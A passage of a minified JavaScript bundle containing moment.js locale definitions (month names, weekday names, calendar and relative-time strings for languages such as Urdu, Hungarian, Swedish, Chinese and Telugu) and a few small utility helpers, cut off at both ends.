[ag] LT",lastDay:"[Inn\xe9 ag] LT",lastWeek:"dddd [seo caite] [ag] LT",sameElse:"L"},relativeTime:{future:"i %s",past:"%s \xf3 shin",s:"c\xfapla soicind",ss:"%d soicind",m:"n\xf3im\xe9ad",mm:"%d n\xf3im\xe9ad",h:"uair an chloig",hh:"%d uair an chloig",d:"l\xe1",dd:"%d l\xe1",M:"m\xed",MM:"%d m\xedonna",y:"bliain",yy:"%d bliain"},dayOfMonthOrdinalParse:/\d{1,2}(d|na|mh)/,ordinal:function(e){return e+(1===e?"d":e%10==2?"na":"mh")},week:{dow:1,doy:4}})}(n("wd/R"))},UpQW:function(e,t,n){!function(e){"use strict";var t=["\u062c\u0646\u0648\u0631\u06cc","\u0641\u0631\u0648\u0631\u06cc","\u0645\u0627\u0631\u0686","\u0627\u067e\u0631\u06cc\u0644","\u0645\u0626\u06cc","\u062c\u0648\u0646","\u062c\u0648\u0644\u0627\u0626\u06cc","\u0627\u06af\u0633\u062a","\u0633\u062a\u0645\u0628\u0631","\u0627\u06a9\u062a\u0648\u0628\u0631","\u0646\u0648\u0645\u0628\u0631","\u062f\u0633\u0645\u0628\u0631"],n=["\u0627\u062a\u0648\u0627\u0631","\u067e\u06cc\u0631","\u0645\u0646\u06af\u0644","\u0628\u062f\u06be","\u062c\u0645\u0639\u0631\u0627\u062a","\u062c\u0645\u0639\u06c1","\u06c1\u0641\u062a\u06c1"];e.defineLocale("ur",{months:t,monthsShort:t,weekdays:n,weekdaysShort:n,weekdaysMin:n,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd\u060c D MMMM YYYY HH:mm"},meridiemParse:/\u0635\u0628\u062d|\u0634\u0627\u0645/,isPM:function(e){return"\u0634\u0627\u0645"===e},meridiem:function(e,t,n){return e<12?"\u0635\u0628\u062d":"\u0634\u0627\u0645"},calendar:{sameDay:"[\u0622\u062c \u0628\u0648\u0642\u062a] LT",nextDay:"[\u06a9\u0644 \u0628\u0648\u0642\u062a] LT",nextWeek:"dddd [\u0628\u0648\u0642\u062a] LT",lastDay:"[\u06af\u0630\u0634\u062a\u06c1 \u0631\u0648\u0632 \u0628\u0648\u0642\u062a] LT",lastWeek:"[\u06af\u0630\u0634\u062a\u06c1] dddd [\u0628\u0648\u0642\u062a] LT",sameElse:"L"},relativeTime:{future:"%s \u0628\u0639\u062f",past:"%s \u0642\u0628\u0644",s:"\u0686\u0646\u062f \u0633\u06cc\u06a9\u0646\u0688",ss:"%d \u0633\u06cc\u06a9\u0646\u0688",m:"\u0627\u06cc\u06a9 \u0645\u0646\u0679",mm:"%d \u0645\u0646\u0679",h:"\u0627\u06cc\u06a9 \u06af\u06be\u0646\u0679\u06c1",hh:"%d \u06af\u06be\u0646\u0679\u06d2",d:"\u0627\u06cc\u06a9 \u062f\u0646",dd:"%d \u062f\u0646",M:"\u0627\u06cc\u06a9 \u0645\u0627\u06c1",MM:"%d \u0645\u0627\u06c1",y:"\u0627\u06cc\u06a9 \u0633\u0627\u0644",yy:"%d \u0633\u0627\u0644"},preparse:function(e){return e.replace(/\u060c/g,",")},postformat:function(e){return e.replace(/,/g,"\u060c")},week:{dow:1,doy:4}})}(n("wd/R"))},Ur1D:function(e,t,n){!function(e){"use strict";e.defineLocale("ss",{months:"Bhimbidvwane_Indlovana_Indlov'lenkhulu_Mabasa_Inkhwekhweti_Inhlaba_Kholwane_Ingci_Inyoni_Imphala_Lweti_Ingongoni".split("_"),monthsShort:"Bhi_Ina_Inu_Mab_Ink_Inh_Kho_Igc_Iny_Imp_Lwe_Igo".split("_"),weekdays:"Lisontfo_Umsombuluko_Lesibili_Lesitsatfu_Lesine_Lesihlanu_Umgcibelo".split("_"),weekdaysShort:"Lis_Umb_Lsb_Les_Lsi_Lsh_Umg".split("_"),weekdaysMin:"Li_Us_Lb_Lt_Ls_Lh_Ug".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Namuhla nga] LT",nextDay:"[Kusasa nga] LT",nextWeek:"dddd [nga] LT",lastDay:"[Itolo nga] LT",lastWeek:"dddd [leliphelile] [nga] LT",sameElse:"L"},relativeTime:{future:"nga %s",past:"wenteka nga %s",s:"emizuzwana lomcane",ss:"%d mzuzwana",m:"umzuzu",mm:"%d emizuzu",h:"lihora",hh:"%d emahora",d:"lilanga",dd:"%d emalanga",M:"inyanga",MM:"%d tinyanga",y:"umnyaka",yy:"%d iminyaka"},meridiemParse:/ekuseni|emini|entsambama|ebusuku/,meridiem:function(e,t,n){return e<11?"ekuseni":e<15?"emini":e<19?"entsambama":"ebusuku"},meridiemHour:function(e,t){return 12===e&&(e=0),"ekuseni"===t?e:"emini"===t?e>=11?e:e+12:"entsambama"===t||"ebusuku"===t?0===e?0:e+12:void 0},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:"%d",week:{dow:1,doy:4}})}(n("wd/R"))},V2x9:function(e,t,n){!function(e){"use strict";e.defineLocale("tet",{months:"Janeiru_Fevereiru_Marsu_Abril_Maiu_Ju\xf1u_Jullu_Agustu_Setembru_Outubru_Novembru_Dezembru".split("_"),monthsShort:"Jan_Fev_Mar_Abr_Mai_Jun_Jul_Ago_Set_Out_Nov_Dez".split("_"),weekdays:"Domingu_Segunda_Tersa_Kuarta_Kinta_Sesta_Sabadu".split("_"),weekdaysShort:"Dom_Seg_Ters_Kua_Kint_Sest_Sab".split("_"),weekdaysMin:"Do_Seg_Te_Ku_Ki_Ses_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Ohin iha] LT",nextDay:"[Aban iha] LT",nextWeek:"dddd [iha] LT",lastDay:"[Horiseik iha] LT",lastWeek:"dddd [semana kotuk] [iha] LT",sameElse:"L"},relativeTime:{future:"iha %s",past:"%s liuba",s:"segundu balun",ss:"segundu %d",m:"minutu ida",mm:"minutu %d",h:"oras ida",hh:"oras %d",d:"loron ida",dd:"loron %d",M:"fulan ida",MM:"fulan %d",y:"tinan ida",yy:"tinan %d"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(n("wd/R"))},Vclq:function(e,t,n){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),n="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),a=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],r=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es-us",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,a){return e?/-MMM-/.test(a)?n[e.month()]:t[e.month()]:t},monthsRegex:r,monthsShortRegex:r,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:a,longMonthsParse:a,shortMonthsParse:a,weekdays:"domingo_lunes_martes_mi\xe9rcoles_jueves_viernes_s\xe1bado".split("_"),weekdaysShort:"dom._lun._mar._mi\xe9._jue._vie._s\xe1b.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_s\xe1".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"MM/DD/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY h:mm A",LLLL:"dddd, D [de] MMMM [de] YYYY h:mm A"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[ma\xf1ana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un d\xeda",dd:"%d d\xedas",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un a\xf1o",yy:"%d a\xf1os"},dayOfMonthOrdinalParse:/\d{1,2}\xba/,ordinal:"%d\xba",week:{dow:0,doy:6}})}(n("wd/R"))},WOAq:function(e,t,n){"use strict";(function(e){var a=n("Ju5/"),r=n("L3Qv"),i="object"==typeof exports&&exports&&!exports.nodeType&&exports,s=i&&"object"==typeof e&&e&&!e.nodeType&&e,o=s&&s.exports===i?a.a.Buffer:void 0;t.a=(o?o.isBuffer:void 0)||r.a}).call(this,n("3UD+")(e))},WYrj:function(e,t,n){!function(e){"use strict";var t=["\u0796\u07ac\u0782\u07aa\u0787\u07a6\u0783\u07a9","\u078a\u07ac\u0784\u07b0\u0783\u07aa\u0787\u07a6\u0783\u07a9","\u0789\u07a7\u0783\u07a8\u0797\u07aa","\u0787\u07ad\u0795\u07b0\u0783\u07a9\u078d\u07aa","\u0789\u07ad","\u0796\u07ab\u0782\u07b0","\u0796\u07aa\u078d\u07a6\u0787\u07a8","\u0787\u07af\u078e\u07a6\u0790\u07b0\u0793\u07aa","\u0790\u07ac\u0795\u07b0\u0793\u07ac\u0789\u07b0\u0784\u07a6\u0783\u07aa","\u0787\u07ae\u0786\u07b0\u0793\u07af\u0784\u07a6\u0783\u07aa","\u0782\u07ae\u0788\u07ac\u0789\u07b0\u0784\u07a6\u0783\u07aa","\u0791\u07a8\u0790\u07ac\u0789\u07b0\u0784\u07a6\u0783\u07aa"],n=["\u0787\u07a7\u078b\u07a8\u0787\u07b0\u078c\u07a6","\u0780\u07af\u0789\u07a6","\u0787\u07a6\u0782\u07b0\u078e\u07a7\u0783\u07a6","\u0784\u07aa\u078b\u07a6","\u0784\u07aa\u0783\u07a7\u0790\u07b0\u078a\u07a6\u078c\u07a8","\u0780\u07aa\u0786\u07aa\u0783\u07aa","\u0780\u07ae\u0782\u07a8\u0780\u07a8\u0783\u07aa"];e.defineLocale("dv",{months:t,monthsShort:t,weekdays:n,weekdaysShort:n,weekdaysMin:"\u0787\u07a7\u078b\u07a8_\u0780\u07af\u0789\u07a6_\u0787\u07a6\u0782\u07b0_\u0784\u07aa\u078b\u07a6_\u0784\u07aa\u0783\u07a7_\u0780\u07aa\u0786\u07aa_\u0780\u07ae\u0782\u07a8".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/M/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/\u0789\u0786|\u0789\u078a/,isPM:function(e){return"\u0789\u078a"===e},meridiem:function(e,t,n){return e<12?"\u0789\u0786":"\u0789\u078a"},calendar:{sameDay:"[\u0789\u07a8\u0787\u07a6\u078b\u07aa] LT",nextDay:"[\u0789\u07a7\u078b\u07a6\u0789\u07a7] LT",nextWeek:"dddd LT",lastDay:"[\u0787\u07a8\u0787\u07b0\u0794\u07ac] LT",lastWeek:"[\u078a\u07a7\u0787\u07a8\u078c\u07aa\u0788\u07a8] dddd LT",sameElse:"L"},relativeTime:{future:"\u078c\u07ac\u0783\u07ad\u078e\u07a6\u0787\u07a8 %s",past:"\u0786\u07aa\u0783\u07a8\u0782\u07b0 %s",s:"\u0790\u07a8\u0786\u07aa\u0782\u07b0\u078c\u07aa\u0786\u07ae\u0785\u07ac\u0787\u07b0",ss:"d% \u0790\u07a8\u0786\u07aa\u0782\u07b0\u078c\u07aa",m:"\u0789\u07a8\u0782\u07a8\u0793\u07ac\u0787\u07b0",mm:"\u0789\u07a8\u0782\u07a8\u0793\u07aa %d",h:"\u078e\u07a6\u0791\u07a8\u0787\u07a8\u0783\u07ac\u0787\u07b0",hh:"\u078e\u07a6\u0791\u07a8\u0787\u07a8\u0783\u07aa %d",d:"\u078b\u07aa\u0788\u07a6\u0780\u07ac\u0787\u07b0",dd:"\u078b\u07aa\u0788\u07a6\u0790\u07b0 %d",M:"\u0789\u07a6\u0780\u07ac\u0787\u07b0",MM:"\u0789\u07a6\u0790\u07b0 %d",y:"\u0787\u07a6\u0780\u07a6\u0783\u07ac\u0787\u07b0",yy:"\u0787\u07a6\u0780\u07a6\u0783\u07aa %d"},preparse:function(e){return e.replace(/\u060c/g,",")},postformat:function(e){return e.replace(/,/g,"\u060c")},week:{dow:7,doy:12}})}(n("wd/R"))},Wv91:function(e,t,n){!function(e){"use strict";var t={1:"'inji",5:"'inji",8:"'inji",70:"'inji",80:"'inji",2:"'nji",7:"'nji",20:"'nji",50:"'nji",3:"'\xfcnji",4:"'\xfcnji",100:"'\xfcnji",6:"'njy",9:"'unjy",10:"'unjy",30:"'unjy",60:"'ynjy",90:"'ynjy"};e.defineLocale("tk",{months:"\xddanwar_Fewral_Mart_Aprel_Ma\xfd_I\xfdun_I\xfdul_Awgust_Sent\xfdabr_Okt\xfdabr_No\xfdabr_Dekabr".split("_"),monthsShort:"\xddan_Few_Mar_Apr_Ma\xfd_I\xfdn_I\xfdl_Awg_Sen_Okt_No\xfd_Dek".split("_"),weekdays:"\xddek\u015fenbe_Du\u015fenbe_Si\u015fenbe_\xc7ar\u015fenbe_Pen\u015fenbe_Anna_\u015eenbe".split("_"),weekdaysShort:"\xddek_Du\u015f_Si\u015f_\xc7ar_Pen_Ann_\u015een".split("_"),weekdaysMin:"\xddk_D\u015f_S\u015f_\xc7r_Pn_An_\u015en".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[bug\xfcn sagat] LT",nextDay:"[ertir sagat] LT",nextWeek:"[indiki] dddd [sagat] LT",lastDay:"[d\xfc\xfdn] LT",lastWeek:"[ge\xe7en] dddd [sagat] LT",sameElse:"L"},relativeTime:{future:"%s so\u0148",past:"%s \xf6\u0148",s:"birn\xe4\xe7e sekunt",m:"bir minut",mm:"%d minut",h:"bir sagat",hh:"%d sagat",d:"bir g\xfcn",dd:"%d g\xfcn",M:"bir a\xfd",MM:"%d a\xfd",y:"bir \xfdyl",yy:"%d \xfdyl"},ordinal:function(e,n){switch(n){case"d":case"D":case"Do":case"DD":return e;default:if(0===e)return e+"'unjy";var a=e%10;return e+(t[a]||t[e%100-a]||t[e>=100?100:null])}},week:{dow:1,doy:7}})}(n("wd/R"))},WxRl:function(e,t,n){!function(e){"use strict";var t="vas\xe1rnap h\xe9tf\u0151n kedden szerd\xe1n cs\xfct\xf6rt\xf6k\xf6n p\xe9nteken szombaton".split(" ");function n(e,t,n,a){var r=e;switch(n){case"s":return a||t?"n\xe9h\xe1ny m\xe1sodperc":"n\xe9h\xe1ny m\xe1sodperce";case"ss":return r+(a||t)?" m\xe1sodperc":" m\xe1sodperce";case"m":return"egy"+(a||t?" perc":" perce");case"mm":return r+(a||t?" perc":" perce");case"h":return"egy"+(a||t?" \xf3ra":" \xf3r\xe1ja");case"hh":return r+(a||t?" \xf3ra":" \xf3r\xe1ja");case"d":return"egy"+(a||t?" nap":" napja");case"dd":return r+(a||t?" nap":" napja");case"M":return"egy"+(a||t?" h\xf3nap":" h\xf3napja");case"MM":return r+(a||t?" h\xf3nap":" h\xf3napja");case"y":return"egy"+(a||t?" \xe9v":" \xe9ve");case"yy":return r+(a||t?" \xe9v":" \xe9ve")}return""}function a(e){return(e?"":"[m\xfalt] ")+"["+t[this.day()]+"] LT[-kor]"}e.defineLocale("hu",{months:"janu\xe1r_febru\xe1r_m\xe1rcius_\xe1prilis_m\xe1jus_j\xfanius_j\xfalius_augusztus_szeptember_okt\xf3ber_november_december".split("_"),monthsShort:"jan._feb._m\xe1rc._\xe1pr._m\xe1j._j\xfan._j\xfal._aug._szept._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"vas\xe1rnap_h\xe9tf\u0151_kedd_szerda_cs\xfct\xf6rt\xf6k_p\xe9ntek_szombat".split("_"),weekdaysShort:"vas_h\xe9t_kedd_sze_cs\xfct_p\xe9n_szo".split("_"),weekdaysMin:"v_h_k_sze_cs_p_szo".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"YYYY.MM.DD.",LL:"YYYY. MMMM D.",LLL:"YYYY. MMMM D. H:mm",LLLL:"YYYY. MMMM D., dddd H:mm"},meridiemParse:/de|du/i,isPM:function(e){return"u"===e.charAt(1).toLowerCase()},meridiem:function(e,t,n){return e<12?!0===n?"de":"DE":!0===n?"du":"DU"},calendar:{sameDay:"[ma] LT[-kor]",nextDay:"[holnap] LT[-kor]",nextWeek:function(){return a.call(this,!0)},lastDay:"[tegnap] LT[-kor]",lastWeek:function(){return a.call(this,!1)},sameElse:"L"},relativeTime:{future:"%s m\xfalva",past:"%s",s:n,ss:n,m:n,mm:n,h:n,hh:n,d:n,dd:n,M:n,MM:n,y:n,yy:n},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},X709:function(e,t,n){!function(e){"use strict";e.defineLocale("sv",{months:"januari_februari_mars_april_maj_juni_juli_augusti_september_oktober_november_december".split("_"),monthsShort:"jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec".split("_"),weekdays:"s\xf6ndag_m\xe5ndag_tisdag_onsdag_torsdag_fredag_l\xf6rdag".split("_"),weekdaysShort:"s\xf6n_m\xe5n_tis_ons_tor_fre_l\xf6r".split("_"),weekdaysMin:"s\xf6_m\xe5_ti_on_to_fr_l\xf6".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [kl.] HH:mm",LLLL:"dddd D MMMM YYYY [kl.] HH:mm",lll:"D MMM YYYY HH:mm",llll:"ddd D MMM YYYY HH:mm"},calendar:{sameDay:"[Idag] LT",nextDay:"[Imorgon] LT",lastDay:"[Ig\xe5r] LT",nextWeek:"[P\xe5] dddd LT",lastWeek:"[I] dddd[s] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"f\xf6r %s sedan",s:"n\xe5gra sekunder",ss:"%d sekunder",m:"en minut",mm:"%d minuter",h:"en timme",hh:"%d timmar",d:"en dag",dd:"%d dagar",M:"en m\xe5nad",MM:"%d m\xe5nader",y:"ett \xe5r",yy:"%d \xe5r"},dayOfMonthOrdinalParse:/\d{1,2}(\:e|\:a)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?":e":1===t||2===t?":a":":e")},week:{dow:1,doy:4}})}(n("wd/R"))},XDpg:function(e,t,n){!function(e){"use strict";e.defineLocale("zh-cn",{months:"\u4e00\u6708_\u4e8c\u6708_\u4e09\u6708_\u56db\u6708_\u4e94\u6708_\u516d\u6708_\u4e03\u6708_\u516b\u6708_\u4e5d\u6708_\u5341\u6708_\u5341\u4e00\u6708_\u5341\u4e8c\u6708".split("_"),monthsShort:"1\u6708_2\u6708_3\u6708_4\u6708_5\u6708_6\u6708_7\u6708_8\u6708_9\u6708_10\u6708_11\u6708_12\u6708".split("_"),weekdays:"\u661f\u671f\u65e5_\u661f\u671f\u4e00_\u661f\u671f\u4e8c_\u661f\u671f\u4e09_\u661f\u671f\u56db_\u661f\u671f\u4e94_\u661f\u671f\u516d".split("_"),weekdaysShort:"\u5468\u65e5_\u5468\u4e00_\u5468\u4e8c_\u5468\u4e09_\u5468\u56db_\u5468\u4e94_\u5468\u516d".split("_"),weekdaysMin:"\u65e5_\u4e00_\u4e8c_\u4e09_\u56db_\u4e94_\u516d".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY/MM/DD",LL:"YYYY\u5e74M\u6708D\u65e5",LLL:"YYYY\u5e74M\u6708D\u65e5Ah\u70b9mm\u5206",LLLL:"YYYY\u5e74M\u6708D\u65e5ddddAh\u70b9mm\u5206",l:"YYYY/M/D",ll:"YYYY\u5e74M\u6708D\u65e5",lll:"YYYY\u5e74M\u6708D\u65e5 HH:mm",llll:"YYYY\u5e74M\u6708D\u65e5dddd HH:mm"},meridiemParse:/\u51cc\u6668|\u65e9\u4e0a|\u4e0a\u5348|\u4e2d\u5348|\u4e0b\u5348|\u665a\u4e0a/,meridiemHour:function(e,t){return 12===e&&(e=0),"\u51cc\u6668"===t||"\u65e9\u4e0a"===t||"\u4e0a\u5348"===t?e:"\u4e0b\u5348"===t||"\u665a\u4e0a"===t?e+12:e>=11?e:e+12},meridiem:function(e,t,n){var a=100*e+t;return a<600?"\u51cc\u6668":a<900?"\u65e9\u4e0a":a<1130?"\u4e0a\u5348":a<1230?"\u4e2d\u5348":a<1800?"\u4e0b\u5348":"\u665a\u4e0a"},calendar:{sameDay:"[\u4eca\u5929]LT",nextDay:"[\u660e\u5929]LT",nextWeek:function(e){return e.week()!==this.week()?"[\u4e0b]dddLT":"[\u672c]dddLT"},lastDay:"[\u6628\u5929]LT",lastWeek:function(e){return this.week()!==e.week()?"[\u4e0a]dddLT":"[\u672c]dddLT"},sameElse:"L"},dayOfMonthOrdinalParse:/\d{1,2}(\u65e5|\u6708|\u5468)/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+"\u65e5";case"M":return e+"\u6708";case"w":case"W":return e+"\u5468";default:return e}},relativeTime:{future:"%s\u540e",past:"%s\u524d",s:"\u51e0\u79d2",ss:"%d \u79d2",m:"1 \u5206\u949f",mm:"%d \u5206\u949f",h:"1 \u5c0f\u65f6",hh:"%d \u5c0f\u65f6",d:"1 \u5929",dd:"%d \u5929",w:"1 \u5468",ww:"%d \u5468",M:"1 \u4e2a\u6708",MM:"%d \u4e2a\u6708",y:"1 \u5e74",yy:"%d \u5e74"},week:{dow:1,doy:4}})}(n("wd/R"))},XLvN:function(e,t,n){!function(e){"use strict";e.defineLocale("te",{months:"\u0c1c\u0c28\u0c35\u0c30\u0c3f_\u0c2b\u0c3f\u0c2c\u0c4d\u0c30\u0c35\u0c30\u0c3f_\u0c2e\u0c3e\u0c30\u0c4d\u0c1a\u0c3f_\u0c0f\u0c2a\u0c4d\u0c30\u0c3f\u0c32\u0c4d_\u0c2e\u0c47_\u0c1c\u0c42\u0c28\u0c4d_\u0c1c\u0c41\u0c32\u0c48_\u0c06\u0c17\u0c38\u0c4d\u0c1f\u0c41_\u0c38\u0c46\u0c2a\u0c4d\u0c1f\u0c46\u0c02\u0c2c\u0c30\u0c4d_\u0c05\u0c15\u0c4d\u0c1f\u0c4b\u0c2c\u0c30\u0c4d_\u0c28\u0c35\u0c02\u0c2c\u0c30\u0c4d_\u0c21\u0c3f\u0c38\u0c46\u0c02\u0c2c\u0c30\u0c4d".split("_"),monthsShort:"\u0c1c\u0c28._\u0c2b\u0c3f\u0c2c\u0c4d\u0c30._\u0c2e\u0c3e\u0c30\u0c4d\u0c1a\u0c3f_\u0c0f\u0c2a\u0c4d\u0c30\u0c3f._\u0c2e\u0c47_\u0c1c\u0c42\u0c28\u0c4d_\u0c1c\u0c41\u0c32\u0c48_\u0c06\u0c17._\u0c38\u0c46\u0c2a\u0c4d._\u0c05\u0c15\u0c4d\u0c1f\u0c4b._\u0c28\u0c35._\u0c21\u0c3f\u0c38\u0c46.".split("_"),monthsParseExact:!0,weekdays:"\u0c06\u0c26\u0c3f\u0c35\u0c3e\u0c30\u0c02_\u0c38\u0c4b\u0c2e\u0c35\u0c3e\u0c30\u0c02_\u0c2e\u0c02\u0c17\u0c33\u0c35\u0c3e\u0c30\u0c02_\u0c2c\u0c41\u0c27\u0c35\u0c3e\u0c30\u0c02_\u0c17\u0c41\u0c30\u0c41\u0c35\u0c3e\u0c30\u0c02_\u0c36\u0c41\u0c15\u0c4d\u0c30\u0c35\u0c3e\u0c30\u0c02_\u0c36\u0c28\u0c3f\u0c35\u0c3e\u0c30\u0c02".split("_"),weekdaysShort:"\u0c06\u0c26\u0c3f_\u0c38\u0c4b\u0c2e_\u0c2e\u0c02\u0c17\u0c33_\u0c2c\u0c41\u0c27_\u0c17\u0c41\u0c30\u0c41_\u0c36\u0c41\u0c15\u0c4d\u0c30_\u0c36\u0c28\u0c3f".split("_"),weekdaysMin:"\u0c06_\u0c38\u0c4b_\u0c2e\u0c02_\u0c2c\u0c41_\u0c17\u0c41_\u0c36\u0c41_\u0c36".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm",LLLL:"dddd, D MMMM YYYY, A h:mm"},calendar:{sameDay:"[\u0c28\u0c47\u0c21\u0c41] LT",nextDay:"[\u0c30\u0c47\u0c2a\u0c41] LT",nextWeek:"dddd, LT",lastDay:"[\u0c28\u0c3f\u0c28\u0c4d\u0c28] LT",lastWeek:"[\u0c17\u0c24] dddd, LT",sameElse:"L"},relativeTime:{future:"%s \u0c32\u0c4b",past:"%s \u0c15\u0c4d\u0c30\u0c3f\u0c24\u0c02",s:"\u0c15\u0c4a\u0c28\u0c4d\u0c28\u0c3f \u0c15\u0c4d\u0c37\u0c23\u0c3e\u0c32\u0c41",ss:"%d \u0c38\u0c46\u0c15\u0c28\u0c4d\u0c32\u0c41",m:"\u0c12\u0c15 \u0c28\u0c3f\u0c2e\u0c3f\u0c37\u0c02",mm:"%d \u0c28\u0c3f\u0c2e\u0c3f\u0c37\u0c3e\u0c32\u0c41",h:"\u0c12\u0c15 \u0c17\u0c02\u0c1f",hh:"%d \u0c17\u0c02\u0c1f\u0c32\u0c41",d:"\u0c12\u0c15 \u0c30\u0c4b\u0c1c\u0c41",dd:"%d \u0c30\u0c4b\u0c1c\u0c41\u0c32\u0c41",M:"\u0c12\u0c15 \u0c28\u0c46\u0c32",MM:"%d \u0c28\u0c46\u0c32\u0c32\u0c41",y:"\u0c12\u0c15 \u0c38\u0c02\u0c35\u0c24\u0c4d\u0c38\u0c30\u0c02",yy:"%d \u0c38\u0c02\u0c35\u0c24\u0c4d\u0c38\u0c30\u0c3e\u0c32\u0c41"},dayOfMonthOrdinalParse:/\d{1,2}\u0c35/,ordinal:"%d\u0c35",meridiemParse:/\u0c30\u0c3e\u0c24\u0c4d\u0c30\u0c3f|\u0c09\u0c26\u0c2f\u0c02|\u0c2e\u0c27\u0c4d\u0c2f\u0c3e\u0c39\u0c4d\u0c28\u0c02|\u0c38\u0c3e\u0c2f\u0c02\u0c24\u0c4d\u0c30\u0c02/,meridiemHour:function(e,t){return 12===e&&(e=0),"\u0c30\u0c3e\u0c24\u0c4d\u0c30\u0c3f"===t?e<4?e:e+12:"\u0c09\u0c26\u0c2f\u0c02"===t?e:"\u0c2e\u0c27\u0c4d\u0c2f\u0c3e\u0c39\u0c4d\u0c28\u0c02"===t?e>=10?e:e+12:"\u0c38\u0c3e\u0c2f\u0c02\u0c24\u0c4d\u0c30\u0c02"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"\u0c30\u0c3e\u0c24\u0c4d\u0c30\u0c3f":e<10?"\u0c09\u0c26\u0c2f\u0c02":e<17?"\u0c2e\u0c27\u0c4d\u0c2f\u0c3e\u0c39\u0c4d\u0c28\u0c02":e<20?"\u0c38\u0c3e\u0c2f\u0c02\u0c24\u0c4d\u0c30\u0c02":"\u0c30\u0c3e\u0c24\u0c4d\u0c30\u0c3f"},week:{dow:0,doy:6}})}(n("wd/R"))},XqMk:function(e,t,n){"use strict";var a="object"==typeof global&&global&&global.Object===Object&&global;t.a=a},YRex:function(e,t,n){!function(e){"use strict";e.defineLocale("ug-cn",{months:"\u064a\u0627\u0646\u06cb\u0627\u0631_\u0641\u06d0\u06cb\u0631\u0627\u0644_\u0645\u0627\u0631\u062a_\u0626\u0627\u067e\u0631\u06d0\u0644_\u0645\u0627\u064a_\u0626\u0649\u064a\u06c7\u0646_\u0626\u0649\u064a\u06c7\u0644_\u0626\u0627\u06cb\u063a\u06c7\u0633\u062a_\u0633\u06d0\u0646\u062a\u06d5\u0628\u0649\u0631_\u0626\u06c6\u0643\u062a\u06d5\u0628\u0649\u0631_\u0646\u0648\u064a\u0627\u0628\u0649\u0631_\u062f\u06d0\u0643\u0627\u0628\u0649\u0631".split("_"),monthsShort:"\u064a\u0627\u0646\u06cb\u0627\u0631_\u0641\u06d0\u06cb\u0631\u0627\u0644_\u0645\u0627\u0631\u062a_\u0626\u0627\u067e\u0631\u06d0\u0644_\u0645\u0627\u064a_\u0626\u0649\u064a\u06c7\u0646_\u0626\u0649\u064a\u06c7\u0644_\u0626\u0627\u06cb\u063a\u06c7\u0633\u062a_\u0633\u06d0\u0646\u062a\u06d5\u0628\u0649\u0631_\u0626\u06c6\u0643\u